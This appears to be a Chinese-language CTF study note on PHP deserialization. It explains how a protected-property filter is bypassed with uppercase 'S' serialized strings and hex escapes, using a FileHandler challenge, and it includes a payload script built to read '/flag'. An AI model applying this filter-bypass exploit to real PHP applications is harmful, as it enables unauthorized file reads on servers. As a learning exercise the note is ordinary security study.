PHP反序列化3(属性绕过)
考点3:私有属性绕过+十六进制绕过
<aside> 💡
十六进制绕过
</aside>
大写 S模式下,字符可以用/和十六进制表示。%00即chr(0)就可以用\00表示。
<aside> 💡
部分例题
</aside>
<?php
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
............
............
............
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
构造payload:
<?php
class FileHandler {
protected $op = 2;
protected $filename = "/flag";
protected $content = "aaa";
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$a = new FileHandler();
$b = serialize($a);
$b=str_replace(chr(0), '\\00', $b);
$b=str_replace('s:5', 'S:5', $b);
$b=str_replace('s:11', 'S:11', $b);
$b=str_replace('s:10', 'S:10', $b);
echo $b;